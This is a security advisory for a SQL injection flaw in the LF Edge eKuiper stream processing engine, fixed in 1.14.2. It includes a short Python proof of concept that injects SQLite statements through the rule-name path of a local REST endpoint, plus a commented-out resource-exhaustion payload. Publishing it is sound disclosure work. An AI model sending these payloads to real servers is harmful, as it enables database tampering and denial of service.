LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

GHSA-r5ph-4jxm-6j9p — LF Edge eKuiper has a SQL Injection in sqlKvStore

Affected: Go: github.com/lf-edge/ekuiper, PyPI: ekuiper

### Summary A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

### Details I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141

### PoC ``` import requests from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s'; payload = f"""'; ATTACH DATABASE 'test93' AS test93; CREATE TABLE test93.pwn (dataz text); INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler

res = requests.get(url) print(res.content) ```
